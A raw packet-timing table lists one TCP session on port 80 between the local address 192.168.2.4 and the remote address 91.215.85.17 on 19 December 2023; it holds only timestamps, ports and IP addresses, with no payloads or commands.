Dec 19, 2023 03:22:27.472057104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472081900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472081900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472081900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472081900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472090960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472110033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472121954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472121954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472130060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472143888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472163916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472163916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472176075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472191095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472193003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472235918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472235918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472244978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472297907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472310066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472311974 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472353935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472354889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472367048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472388983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472398996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472410917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472414017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472414017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472441912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472470999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472471952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472489119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472501993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472520113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472536087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472536087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472537994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472558022 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472558975 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472585917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472595930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472609997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472624063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472667933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472667933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472667933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472681046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472692966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472734928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472737074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472747087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472759008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472798109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472816944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472816944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472841024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472851992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472887039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472898960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472909927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472917080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472923994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472929955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472944021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472963095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472980022 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.472995996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472995043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473015070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473026037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473043919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473073006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473074913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473074913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473093033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473104000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473131895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473165035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473193884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473226070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473227024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473227024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473262072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473330975 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473370075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473387957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473400116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473412037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473417997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473417997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473445892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473459005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473459005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473463058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473481894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473498106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473505974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473509073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473524094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473532915 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473537922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473551035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473562002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473578930 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473586082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473644972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473659992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473679066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473679066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473715067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473716974 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473731995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473762035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473814964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473823071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473864079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473881006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473932981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.473938942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473978996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.473985910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474000931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474023104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474035025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474040985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474056005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474070072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474093914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474106073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474117994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474128962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474140882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474184036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474196911 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474196911 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474196911 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474200964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474217892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474221945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474235058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474281073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474297047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474308968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474313021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474313021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474313021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474313021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474325895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474349022 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474360943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474374056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474375010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474433899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474443913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474451065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474462986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474483013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474503994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474504948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474509954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474570990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474579096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474616051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474620104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474628925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474649906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474685907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474687099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474720001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474733114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474745035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474755049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474755049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474785089 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474786043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474802971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474848986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474854946 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474864960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474904060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474904060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474915028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474926949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474960089 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474965096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.474987984 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474994898 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.474999905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475052118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475079060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475105047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475117922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475131035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475142002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475173950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475176096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475176096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475187063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475203991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475251913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475265026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475265026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475272894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475305080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475318909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475337029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475364923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475364923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475393057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475394964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475450993 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475462914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475475073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475511074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475514889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475578070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475578070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475630045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475641966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475649118 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475672007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475682974 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475682974 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475712061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475713968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475724936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475768089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475816965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475816965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475883961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475903988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475934982 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475945950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.475965023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.475997925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476039886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476039886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476073980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476090908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476138115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476167917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476167917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476167917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476205111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476221085 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476233006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476269007 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476269007 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476285934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476345062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476363897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476402044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476435900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476455927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476484060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476495981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476512909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476525068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476543903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476560116 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476573944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476582050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476608038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476641893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476641893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476651907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476696014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476707935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476715088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476746082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476756096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476815939 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476839066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476870060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476892948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476898909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476918936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476928949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476928949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476938009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476972103 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476972103 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.476977110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.476989985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477020025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477035999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477052927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477088928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477127075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477132082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477144957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477159023 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477159023 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477186918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477189064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477204084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477220058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477237940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477248907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477248907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477248907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477324963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477339029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477397919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477401972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477411032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477441072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477446079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477446079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477468967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477524996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477524996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477530003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477543116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477587938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477591038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477603912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477615118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477678061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477689981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477730036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477730036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477730036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477730036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477736950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477756977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477787971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477799892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477799892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477838993 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477874994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477893114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477925062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477941036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.477958918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477973938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.477984905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.478018999 CET	80	49738	91.215.85.17	192.168.2.4
